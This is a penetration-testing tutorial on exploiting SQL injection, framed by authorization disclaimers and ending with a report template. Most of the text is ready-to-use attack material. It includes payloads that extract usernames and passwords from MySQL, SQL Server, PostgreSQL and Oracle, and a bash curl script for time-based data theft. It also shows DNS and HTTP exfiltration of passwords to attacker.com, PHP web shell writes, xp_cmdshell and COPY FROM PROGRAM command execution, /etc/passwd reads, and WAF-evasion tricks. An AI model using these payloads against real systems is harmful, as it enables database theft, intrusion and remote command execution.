How to exploit SQL Injection?
Jason McCarthy
Senior security researcher & penetration testing consultant
10+ years experience in the field
Understanding SQL Injection Exploitation
SQL injection exploitation transforms a discovered vulnerability into actionable data extraction, system compromise, or administrative control. This comprehensive guide details exploitation techniques used by security professionals during authorized penetration testing and vulnerability assessments. Understanding these methods is crucial for security teams to assess the actual risk posed by SQL injection vulnerabilities and implement appropriate defenses. Every technique described here should only be performed on systems you own or have explicit written authorization to test.
The exploitation phase requires methodical approach, patience, and deep understanding of SQL syntax across different database systems. While detection confirms vulnerability presence, exploitation determines the actual impact and helps organizations understand their exposure. Modern applications often implement partial defenses that complicate exploitation, requiring advanced techniques like WAF bypasses, encoding tricks, and time-based extraction methods.
Prerequisites and Ethical Considerations
Before attempting any SQL injection exploitation, ensure you have proper authorization and understand the legal implications. Unauthorized testing is illegal and can result in severe criminal penalties under computer fraud laws worldwide. Always obtain written permission specifying the scope, timing, and methods allowed for testing. Document all activities thoroughly and immediately report critical findings through appropriate channels.
Required Authorization Documentation
Authorization Checklist:
☐ Written permission from system owner
☐ Defined scope of testing (specific URLs/parameters)
☐ Testing window (dates and times)
☐ Allowed exploitation depth
☐ Contact information for emergencies
☐ Rules of engagement (what to avoid)
☐ Data handling requirements
☐ Reporting expectations
Testing Environment Setup
Create a safe testing environment to minimize production impact:
# Set up local testing database
docker run --name mysql-test -e MYSQL_ROOT_PASSWORD=root -d mysql:5.7
docker exec -it mysql-test mysql -uroot -proot
# Create vulnerable test application
CREATE DATABASE testdb;
USE testdb;
CREATE TABLE users (id INT, username VARCHAR(50), password VARCHAR(50));
INSERT INTO users VALUES (1, 'admin', 'secret123');
INSERT INTO users VALUES (2, 'user', 'pass456');
Information Gathering Phase
Database Fingerprinting
The foundation of successful SQL injection exploitation lies in accurate database identification. Each database management system has unique syntax quirks, functions, and features that must be understood before attempting exploitation. Incorrectly assuming the database type can lead to failed exploitation attempts and potentially alert defensive systems to your testing activities. The fingerprinting phase serves as reconnaissance, providing crucial intelligence about the target system’s architecture and capabilities.
Database fingerprinting typically begins with version detection queries that leverage system-specific variables and functions. These queries are designed to return version information that not only identifies the database type but also reveals the specific version number, which is critical for understanding available features and potential vulnerabilities. For instance, older MySQL versions might lack certain security features or have known vulnerabilities that newer versions have patched.
-- Version detection payloads
' UNION SELECT @@version-- # MySQL
' UNION SELECT version()-- # PostgreSQL
' UNION SELECT @@version,NULL-- # SQL Server
' UNION SELECT banner FROM v$version-- # Oracle
-- Database identification through errors
' AND conv(1,10,36)=1-- # MySQL specific function
' AND connection_id()=connection_id()-- # MySQL
' AND pg_sleep(0)=0-- # PostgreSQL
' AND NEWID() IS NOT NULL-- # SQL Server
When version queries fail or return ambiguous results, function-based identification becomes necessary. This technique exploits the fact that each database system implements unique functions that don’t exist in others. By attempting to use database-specific functions and observing whether they execute successfully or generate errors, testers can definitively identify the underlying database system. This method is particularly useful when dealing with applications that suppress version information or when error messages are generic.
Column Enumeration
Understanding the structure of the original SQL query is paramount for successful UNION-based attacks. The number of columns in the original SELECT statement must match exactly with any UNION SELECT statement you attempt to inject. This requirement stems from SQL’s fundamental rule that UNION operations require both queries to return the same number of columns with compatible data types. Mismatching column counts will result in syntax errors that prevent the injection from succeeding.
The ORDER BY technique provides a systematic approach to column enumeration by incrementally testing column positions until an error occurs. When you ORDER BY a column number that doesn’t exist, the database returns an error, thereby revealing the maximum number of columns in the query. This method is particularly effective because it doesn’t require knowledge of column names or data types, making it universally applicable across different query structures.
-- Order by technique
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- # Continue until error occurs
-- UNION NULL technique
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- # Add NULLs until query succeeds
-- Identifying displayable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'-- # Test each position
The UNION NULL technique serves as an alternative when ORDER BY is filtered or produces ambiguous results. NULL values are universally compatible with all data types, making them ideal for initial column matching. Once the correct number of NULLs produces a successful query, you can systematically replace each NULL with a test string to identify which columns are displayed in the application’s response. This information is crucial for data extraction, as only visible columns can be used to exfiltrate information.
Classic Exploitation Techniques
Union-Based Data Extraction
UNION-based SQL injection represents the most straightforward and powerful exploitation technique when the application displays query results directly to the user. This method leverages the SQL UNION operator to append an entirely new SELECT statement to the original query, effectively allowing attackers to retrieve arbitrary data from any accessible table in the database. The elegance of UNION attacks lies in their directness - data is extracted in clear text through the same channel the application uses for legitimate data display, making it both reliable and efficient.
The success of UNION attacks depends on several preconditions that must be carefully validated during the reconnaissance phase. First, the injection point must occur within a SELECT statement, as UNION cannot be used with INSERT, UPDATE, or DELETE queries. Second, the application must display at least one column from the query results, providing a channel for data exfiltration. Third, the injected SELECT statement must match the original query’s column count exactly, and the data types must be compatible or coercible. These requirements make UNION attacks somewhat restrictive but extremely powerful when conditions are met.
-- Basic data extraction
' UNION SELECT username,password FROM users--
-- Multiple table extraction
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,table_name FROM information_schema.columns--
-- Database enumeration
' UNION SELECT schema_name,NULL FROM information_schema.schemata--
-- Concatenating multiple columns (MySQL)
' UNION SELECT CONCAT(username,':',password),NULL FROM users--
-- Concatenating with separators (SQL Server)
' UNION SELECT username + ':' + password,NULL FROM users--
When dealing with multiple columns but limited display space, concatenation becomes essential for efficient data extraction. Different database systems offer various string concatenation methods, each with unique syntax that must be properly employed. MySQL’s CONCAT() function accepts multiple arguments and combines them seamlessly, while SQL Server uses the + operator for string concatenation. Oracle requires the || operator, and PostgreSQL supports both || and CONCAT() depending on the version. Understanding these differences is crucial for adapting exploitation techniques to the target database.
Advanced UNION Techniques
Advanced UNION exploitation extends beyond simple data retrieval to include file system interaction, command execution preparation, and complex multi-table joins. These sophisticated techniques transform SQL injection from a data theft vulnerability into a potential system compromise vector. The ability to read system files can reveal configuration details, source code, and even credentials stored in configuration files. Writing capabilities, though less common due to privilege restrictions, can establish web shells for persistent access.
The information_schema database, available in MySQL, PostgreSQL, and other systems, serves as a metadata repository that attackers can mine for comprehensive database mapping. This virtual database contains tables describing all databases, tables, columns, privileges, and constraints in the system. By systematically querying information_schema, attackers can build a complete picture of the database structure without prior knowledge of table or column names. This reconnaissance is invaluable for targeted data extraction and understanding the application’s data model.
-- Extracting from specific databases
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--
-- Reading files (MySQL with FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
-- Writing shells (MySQL with FILE privilege)
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--
-- Multi-query extraction
' UNION SELECT
(SELECT GROUP_CONCAT(username) FROM users),
(SELECT GROUP_CONCAT(password) FROM users)--
The GROUP_CONCAT() function in MySQL and similar aggregation functions in other databases enable retrieval of multiple rows in a single query result. This optimization is particularly valuable when dealing with rate-limited or monitored environments where minimizing the number of requests is crucial. By concatenating all values from a column into a single string, entire tables can be extracted with one request instead of row-by-row extraction that might trigger security alerts.
Error-Based Exploitation
Error-based SQL injection exploits verbose error messages that inadvertently reveal database content. This technique is particularly effective when the application displays detailed database errors to users, a common misconfiguration in development or debugging modes that sometimes persists in production. The strategy involves deliberately causing type conversion errors or constraint violations that force the database to include data values in error messages, effectively creating a covert channel for data extraction.
The sophistication of error-based techniques varies significantly across database platforms. MySQL offers functions like extractvalue() and updatexml() that were designed for XML manipulation but can be subverted to trigger errors containing arbitrary data. These functions attempt to evaluate XPath expressions, and when provided with malformed XML, they generate errors that include the attempted evaluation result. This behavior transforms a seemingly innocuous XML function into a powerful data extraction tool.
-- MySQL error-based extraction
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
-- SQL Server error-based
' AND 1=CONVERT(INT,(SELECT TOP 1 username FROM users))--
' AND 1=CAST((SELECT TOP 1 password FROM users) AS INT)--
-- PostgreSQL error-based
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS INT)--
-- Oracle error-based
' AND 1=TO_NUMBER((SELECT username FROM users WHERE ROWNUM=1))--
SQL Server’s CONVERT() and CAST() functions provide similar functionality by attempting type conversions that deliberately fail, causing the database to reveal the unconvertible value in the error message. This technique is particularly powerful because it works with any data type and doesn’t require special privileges or functions. The error messages typically include the exact value that couldn’t be converted, providing a clear text extraction channel even when normal output is suppressed.
Boolean-Based Blind Exploitation
When applications suppress both error messages and query results, blind SQL injection techniques become necessary. Boolean-based blind exploitation relies on observing differences in application behavior when injected conditions evaluate to true versus false. This technique transforms the vulnerable parameter into a binary oracle that answers yes/no questions about the database content. While significantly slower than direct extraction methods, boolean-based blind injection is remarkably reliable and works against most applications that lack proper input sanitization.
The fundamental principle underlying boolean-based exploitation is conditional behavior modification. By injecting SQL conditions that evaluate to true or false based on specific data values, attackers can infer information from how the application responds. These differences might manifest as presence or absence of certain content, variations in response length, different HTTP status codes, or changes in response timing. The key is identifying a reliable indicator that consistently differentiates between true and false conditions.
Character-by-Character Extraction
The most common approach to blind data extraction involves testing each character position individually using substring functions. This methodical process requires patience but guarantees successful extraction if the vulnerability exists. The technique works by asking a series of questions about each character: Is the first character ‘a’? Is it ‘b’? This continues until the correct character is identified, then moves to the next position. While this might seem inefficient, optimization techniques like binary search can dramatically reduce the number of requests required.
Binary search optimization transforms character guessing from a linear process requiring up to 95 attempts per character (for printable ASCII) to a logarithmic process requiring at most 7 attempts. This is achieved by comparing ASCII values rather than testing specific characters. By asking “Is the ASCII value greater than 64?” and halving the search space with each query, the correct value can be identified efficiently. This optimization becomes critical when extracting large amounts of data or operating in bandwidth-constrained environments.
-- Check if first character of database name is 'a'
' AND SUBSTRING((SELECT database()),1,1)='a'--
-- Binary search for character values
' AND ASCII(SUBSTRING((SELECT database()),1,1))>64-- # Is it > '@'?
' AND ASCII(SUBSTRING((SELECT database()),1,1))>96-- # Is it > '`'?
' AND ASCII(SUBSTRING((SELECT database()),1,1))>112-- # Is it > 'p'?
-- Automated extraction loop (pseudo-code)
for position in 1..50:
for ascii_value in 32..126:
payload = f"' AND ASCII(SUBSTRING((SELECT database()),{position},1))={ascii_value}--"
if response_indicates_true():
extracted_char = chr(ascii_value)
The substring extraction process must account for various database-specific functions and syntax variations. MySQL uses SUBSTRING() or MID(), SQL Server supports SUBSTRING(), PostgreSQL offers SUBSTRING() and SUBSTR(), while Oracle primarily uses SUBSTR(). Each function has slightly different parameter orders and indexing conventions (some are 0-indexed, others 1-indexed), requiring careful adaptation of payloads to the target database. Additionally, some databases offer specialized functions like MySQL’s ORD() as an alternative to ASCII() for character code extraction.
Length Determination
Before attempting character-by-character extraction, determining the length of target data significantly optimizes the process. Knowing that a password is exactly 12 characters long prevents wasting requests testing positions 13 and beyond. Length determination uses the same boolean logic but with LENGTH() or LEN() functions, employing binary search to quickly identify the exact length. This preliminary step might add a few requests but saves many more during the actual extraction phase.
The efficiency of length determination extends beyond simple optimization. It also serves as a validation mechanism, confirming that the injection point truly allows data extraction. If length queries return inconsistent results or fail to identify a definite length, it might indicate that the injection point doesn’t have access to the target table or that additional privileges are required. This early detection prevents wasted effort attempting to extract data that isn’t accessible.
-- Find length of data before extraction
' AND LENGTH((SELECT database()))>5--
' AND LENGTH((SELECT database()))>10--
' AND LENGTH((SELECT database()))=8-- # Binary search to exact length
-- Count records
' AND (SELECT COUNT(*) FROM users)>10--
' AND (SELECT COUNT(*) FROM users)=5--
Record counting serves a similar optimization purpose for multi-row extraction. Knowing the exact number of users in a table allows for efficient iteration without overshooting or missing records. This is particularly important when using LIMIT and OFFSET clauses to extract data row by row, as attempting to access non-existent rows might trigger errors or alter application behavior in ways that could alert defensive systems.
Time-Based Blind Exploitation
Time-based blind SQL injection represents the last resort when all other extraction methods fail. This technique is employed when applications normalize all responses, making boolean-based differentiation impossible. Even when the application returns identical content regardless of the injected condition’s truth value, time-based attacks can still succeed by introducing deliberate delays that serve as a covert communication channel. The fundamental principle is elegantly simple: if a condition is true, delay the response; if false, respond immediately.
The reliability of time-based extraction comes at the cost of speed and efficiency. Each bit of information requires a separate request with a multi-second delay, making the extraction of even small amounts of data a time-consuming process. Network latency, server load variations, and intermediate proxy timeouts all complicate the technique, requiring careful calibration of delay durations and multiple confirmations to avoid false positives. Despite these challenges, time-based blind injection remains invaluable for confirming vulnerability existence and extracting critical data when no alternatives exist.
Database-Specific Time Delays
Each database system implements delay functions differently, requiring platform-specific payloads for successful exploitation. MySQL’s SLEEP() function provides straightforward delay functionality, accepting a parameter in seconds and pausing execution for that duration. SQL Server uses WAITFOR DELAY with a time string format, while PostgreSQL employs pg_sleep() with seconds as a floating-point parameter. Oracle, lacking a dedicated sleep function, relies on DBMS_PIPE.RECEIVE_MESSAGE() or other resource-intensive operations to create delays.
Understanding the nuances of each delay mechanism is crucial for reliable exploitation. For instance, MySQL’s SLEEP() function operates per row in result sets, potentially causing multiplicative delays if not carefully controlled. SQL Server’s WAITFOR DELAY has a maximum delay limit and might be disabled in certain configurations. PostgreSQL’s pg_sleep() accepts fractional seconds, allowing for more precise timing control. These platform-specific behaviors must be considered when crafting payloads and interpreting results.
-- MySQL time-based extraction
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=100,SLEEP(5),0)--
-- SQL Server conditional delay
'; IF ASCII(SUBSTRING((SELECT DB_NAME()),1,1))=100 WAITFOR DELAY '00:00:05'--
-- PostgreSQL time-based
' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT current_database()),1,1))=100
THEN pg_sleep(5) ELSE pg_sleep(0) END)--
-- Oracle time-based
' AND (SELECT CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE ROWNUM=1),1,1))=65
THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM DUAL)--
The conditional logic wrapping delay functions must be carefully constructed to avoid syntax errors that could reveal the injection attempt. IF statements in MySQL, CASE expressions in PostgreSQL and Oracle, and IF blocks in SQL Server each have specific syntax requirements. Additionally, the delay must be substantial enough to distinguish from normal network latency but not so long that it triggers timeout mechanisms. A sweet spot of 3-7 seconds typically works well, providing clear differentiation while avoiding most timeout thresholds.
Optimized Time-Based Extraction
Optimizing time-based extraction involves multiple strategies to minimize the total extraction time while maintaining reliability. Binary search for character values reduces the number of requests per character from potentially 95 to just 7. Parallel extraction using multiple threads can test different character positions simultaneously, though this requires careful coordination to avoid overwhelming the target server. Adaptive delay durations based on network conditions can further optimize the process, using shorter delays when latency is low and extending them when network conditions are poor.
Statistical analysis of response times helps differentiate true delays from network variations. By establishing baseline response times through multiple benign requests, standard deviation thresholds can be calculated to reliably identify intentional delays. This statistical approach reduces false positives caused by temporary network congestion or server load spikes. Some advanced tools implement automatic retry mechanisms when response times fall within ambiguous ranges, ensuring accurate data extraction even in unstable network conditions.
#!/bin/bash
# Automated time-based extraction script
URL="http://target.com/page.php"
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789_"
EXTRACTED=""
for position in {1..20}; do
for char in $(echo $CHARSET | grep -o .); do
PAYLOAD="' AND IF(SUBSTRING((SELECT database()),$position,1)='$char',SLEEP(3),0)--"
START=$(date +%s)
curl -s "${URL}?id=1${PAYLOAD}" > /dev/null
END=$(date +%s)
if [ $((END-START)) -ge 3 ]; then
EXTRACTED="${EXTRACTED}${char}"
echo "Position $position: $char (Full: $EXTRACTED)"
break
fi
done
done
The extraction script demonstrates a practical implementation of time-based extraction, but production-grade tools would include additional features like retry logic, statistical validation, and adaptive timing. The script could be enhanced with parallel processing using background jobs, automatic character set detection based on context, and progress persistence to resume interrupted extractions. These optimizations transform time-based extraction from an arduous manual process into an automated, reliable technique.
Out-of-Band Exploitation
Out-of-band (OOB) SQL injection represents a sophisticated exploitation technique that circumvents traditional response-based extraction methods by establishing alternative communication channels. When in-band techniques fail due to response normalization, aggressive filtering, or network restrictions, OOB methods can still succeed by forcing the database server to initiate connections to attacker-controlled infrastructure. This approach transforms the compromised database from a passive data store into an active participant in data exfiltration, leveraging database functionality designed for legitimate purposes like replication, backup, or external system integration.
The effectiveness of OOB exploitation depends heavily on the database server’s network configuration and privileges. Many production databases operate within restricted network segments with limited outbound connectivity, making OOB attacks challenging or impossible. However, when successful, OOB techniques offer unique advantages including asynchronous data extraction, bypass of application-layer filters, and the ability to exfiltrate large amounts of data without generating suspicious application behavior. The technique requires attackers to maintain infrastructure to receive the exfiltrated data, typically DNS servers for DNS-based attacks or web servers for HTTP-based exfiltration.
DNS Exfiltration
DNS exfiltration leverages the fact that DNS queries often bypass firewalls and proxy restrictions that block other outbound traffic. Since DNS is fundamental to network operations, even highly restricted environments typically allow DNS queries to resolve external domains. By encoding data within DNS queries to attacker-controlled domains, information can be extracted even from isolated network segments. The technique exploits database features that trigger DNS lookups, such as UNC path resolution in Windows environments or explicit DNS resolution functions.
The bandwidth limitations of DNS exfiltration require careful consideration of data encoding and chunking strategies. DNS labels are limited to 63 characters, and total domain names cannot exceed 253 characters, necessitating data fragmentation for anything beyond trivial extraction. Additionally, DNS caching at various levels can interfere with data transmission, requiring unique subdomain generation for each piece of extracted data. Despite these limitations, DNS exfiltration remains highly effective for extracting high-value, low-volume data like passwords, API keys, or database schema information.
-- MySQL DNS exfiltration (Windows)
' AND LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1),
'.attacker.com\\a.txt'))--
-- SQL Server xp_dirtree
'; DECLARE @data varchar(1024);
SELECT @data=(SELECT TOP 1 password FROM users);
EXEC('xp_dirtree "\\\\'+@data+'.attacker.com\\a"')--
-- Oracle DNS exfiltration
' AND (SELECT UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE ROWNUM=1)||'.attacker.com') FROM DUAL)--
The Windows UNC path exploitation technique deserves special attention as it works across multiple database systems running on Windows. When databases attempt to access UNC paths pointing to external systems, Windows automatically attempts DNS resolution and SMB connection, both of which can carry exfiltrated data. SQL Server’s xp_dirtree, xp_fileexist, and xp_getfiledetails procedures all trigger this behavior, providing multiple vectors for DNS exfiltration. Even when these extended procedures are disabled, alternative techniques using OPENROWSET or BULK INSERT might achieve similar results.
HTTP Request Exfiltration
HTTP-based exfiltration offers greater bandwidth and reliability compared to DNS methods, though it faces more stringent firewall restrictions in many environments. Database systems increasingly include HTTP client functionality for web service integration, REST API communication, and cloud service connectivity. These legitimate features can be repurposed for data exfiltration by making HTTP requests to attacker-controlled servers with sensitive data encoded in URLs, headers, or request bodies.
Oracle’s UTL_HTTP package provides comprehensive HTTP functionality that can be exploited for sophisticated exfiltration scenarios. The package supports GET and POST requests, custom headers, and even cookie handling, enabling complex data transmission schemes. SQL Server offers similar capabilities through OLE Automation procedures or CLR integration, though these features are often disabled for security reasons. When available, HTTP exfiltration can transmit large amounts of data quickly and reliably, making it ideal for bulk data extraction or continuous monitoring scenarios.
-- Oracle HTTP requests
' AND (SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||(SELECT username||':'||password FROM users WHERE ROWNUM=1)) FROM DUAL)--
-- SQL Server OLE Automation
'; DECLARE @o INT, @r INT, @u VARCHAR(255);
SELECT @u='http://attacker.com/?data='+(SELECT TOP 1 password FROM users);
EXEC sp_OACreate 'MSXML2.ServerXMLHTTP',@o OUT;
EXEC sp_OAMethod @o,'open',NULL,'GET',@u,false;
EXEC sp_OAMethod @o,'send';
EXEC sp_OADestroy @o--
The SQL Server OLE Automation approach demonstrates the complexity often required for HTTP exfiltration in restricted environments. The sp_OACr
eate procedure instantiates COM objects that can interact with external systems, but this functionality is disabled by default in modern SQL Server installations. When enabled, it provides powerful capabilities for system interaction beyond simple HTTP requests, including file system access, registry manipulation, and execution of arbitrary COM objects. Security-conscious administrators typically disable OLE Automation, but legacy applications or specific business requirements sometimes necessitate its availability.
Second-Order Exploitation
Exploit stored payloads that execute during subsequent operations:
Registration-Based Second-Order
-- Stage 1: Register malicious username
Username: admin'--
Password: anything
Email: test@test.com
-- Stage 2: Password reset triggers injection
UPDATE users SET password='newpass' WHERE username='admin'--'
-- Results in: UPDATE users SET password='newpass' WHERE username='admin'
Profile Update Exploitation
-- Store payload in profile field
UPDATE profile SET bio='Normal text' WHERE user='john'' UNION SELECT password FROM users--'
-- Later retrieval executes injection
SELECT bio FROM profile WHERE user='john'' UNION SELECT password FROM users--'
Advanced Bypass Techniques
WAF and Filter Evasion
Web Application Firewalls (WAFs) and input filters represent the primary defensive mechanisms against SQL injection attacks, but they are far from impenetrable. These security controls typically operate using signature-based detection, pattern matching, and heuristic analysis to identify and block malicious input. However, the complexity of SQL syntax, combined with the flexibility of encoding schemes and database-specific quirks, creates numerous opportunities for bypass. Understanding common WAF detection patterns and their weaknesses is essential for thorough security testing and helps developers understand why WAFs should never be the sole defense against SQL injection.
The cat-and-mouse game between WAF vendors and security researchers has produced an extensive catalog of bypass techniques that evolve constantly. Modern WAFs employ machine learning algorithms, behavioral analysis, and context-aware filtering to detect increasingly sophisticated attacks. Despite these advances, the fundamental challenge remains: distinguishing between legitimate and malicious SQL while maintaining application functionality. This balance often creates gaps that skilled testers can exploit through careful payload crafting and systematic filter analysis.
Filter evasion begins with reconnaissance to understand the WAF’s behavior. By systematically testing various payloads and observing which ones are blocked versus allowed, testers can map the filter rules and identify weaknesses. Some WAFs block specific keywords like UNION or SELECT, while others focus on patterns like apostrophes followed by SQL keywords. Understanding these rules enables the construction of functionally equivalent payloads that bypass detection while maintaining the injection’s effectiveness.
-- Space alternatives
'/**/UNION/**/SELECT/**/ # Comment spaces
'%09UNION%09SELECT%09 # Tab characters
'%0AUNION%0ASELECT%0A # Newlines
-- Keyword obfuscation
'UnIoN%20sElEcT' # Case variation
'UNI/**/ON SEL/**/ECT' # Comment insertion
'UNUNIONION SELSELECTECT' # Duplicate keywords (if filter removes once)
-- Encoding bypasses
%27%20UNION%20SELECT%20 # URL encoding
%2527%2520UNION%2520SELECT # Double URL encoding
' UNION  # HTML entity encoding
-- Function-based concatenation
'UN'||'ION SEL'||'ECT' # String concatenation (Oracle/PostgreSQL)
CONCAT('UN','ION SEL','ECT') # MySQL
The comment insertion technique exploits the fact that many WAFs perform simple string matching without proper SQL parsing. By inserting comments between SQL keywords, the semantic meaning is preserved while the signature is broken. MySQL’s conditional comments (/*! … /) are particularly useful as they execute the enclosed code only on MySQL servers, potentially bypassing generic SQL filters. Version-specific conditional comments like /!50000 … */ execute only on MySQL 5.0.0 and later, providing even more granular control over payload execution.
Scientific Notation and Alternative Syntax
SQL’s flexibility in numeric representation and comparison operators provides additional bypass opportunities that many filters overlook. Scientific notation, hexadecimal encoding, and alternative comparison operators can obscure injection payloads while maintaining their functionality. These techniques are particularly effective against filters that focus on common SQL keywords while ignoring alternative syntax that achieves the same result.
The evolution of SQL standards and database-specific extensions has created a rich vocabulary of alternative syntax that can replace filtered constructs. For instance, MySQL’s REGEXP operator provides pattern matching similar to LIKE but might bypass filters focused on the more common operator. PostgreSQL’s type casting syntax using :: can replace CAST functions, while SQL Server’s square bracket notation for identifiers can obfuscate table and column names. Understanding these alternatives requires deep knowledge of each database platform’s documentation and undocumented features.
-- Scientific notation
1e0 UNION SELECT
1.0UNION SELECT
1.UNION SELECT
-- Alternative comparison operators
' OR 1 LIKE 1--
' OR 1 REGEXP 1--
' OR 1 RLIKE 1--
-- MySQL specific bypasses
'/*!UNION*/ /*!SELECT*/ # MySQL conditional comments
'/*!50000UNION*/ SELECT # Version-specific execution
The scientific notation bypass exploits the fact that many filters expect whitespace between keywords and values. By using exponential notation (1e0 equals 1), the UNION keyword can directly follow the number without spaces, potentially bypassing simple pattern matching. This technique works because SQL parsers correctly interpret the scientific notation and separate it from subsequent keywords, even without explicit whitespace. Similar principles apply to decimal notation where 1.UNION might bypass filters expecting spaces while still being parsed correctly by the database.
Privilege Escalation
Reading System Files
-- MySQL file reading
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
' UNION SELECT LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts'),NULL--
-- SQL Server file reading via xp_cmdshell
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
Command Execution
-- SQL Server command execution
'; EXEC xp_cmdshell 'whoami'--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- # Enable if disabled
-- MySQL command execution (requires FILE privilege)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cmd.php'--
-- PostgreSQL command execution
'; CREATE TABLE cmd_exec(cmd_output text)--
'; COPY cmd_exec FROM PROGRAM 'id'--
'; SELECT * FROM cmd_exec--
[Image placeholder: SQL Injection exploitation decision tree showing different paths based on response types]
Data Extraction Optimization
Technique | Speed | Reliability | Detectable | Use Case |
---|---|---|---|---|
UNION | Fast | High | High | Direct output visible |
Error-based | Fast | Medium | High | Errors displayed |
Boolean blind | Slow | High | Medium | Content differences |
Time blind | Very Slow | High | Low | No visible differences |
Out-of-band | Medium | Low | Medium | All else fails |
Bulk Data Extraction
-- MySQL GROUP_CONCAT for multiple rows
' UNION SELECT GROUP_CONCAT(username,':',password SEPARATOR ','),NULL FROM users--
-- SQL Server STRING_AGG (2017+)
' UNION SELECT STRING_AGG(username + ':' + password, ','),NULL FROM users--
-- PostgreSQL array aggregation
' UNION SELECT ARRAY_TO_STRING(ARRAY_AGG(username||':'||password),','),NULL FROM users--
Post-Exploitation Actions
After successful exploitation, security professionals should:
- Document all findings with screenshots and exact payloads
- Assess data sensitivity to determine risk level
- Check for lateral movement possibilities
- Test privilege escalation paths
- Verify persistence mechanisms
- Clean up test data to avoid leaving artifacts
- Report immediately if critical data is exposed
Responsible Disclosure
## Vulnerability Report Template
**Vulnerability Type**: SQL Injection
**Severity**: Critical
**CVSS Score**: 9.8
**Affected Parameter**: /search.php?q=
**Injection Type**: Union-based
**Proof of Concept**:
[Include safe, non-destructive payload]
**Impact**:
- Full database access achieved
- User credentials exposed
- Administrative access possible
**Recommendations**:
1. Implement parameterized queries immediately
2. Apply input validation
3. Review all database interaction points
Successfully exploiting SQL injection requires technical skill, patience, and ethical responsibility. These techniques demonstrate the severity of SQL injection vulnerabilities and emphasize the critical need for secure coding practices. Remember that unauthorized exploitation is illegal and unethical - use these techniques only for legitimate security testing with proper authorization. The goal is always to improve security, not to cause harm.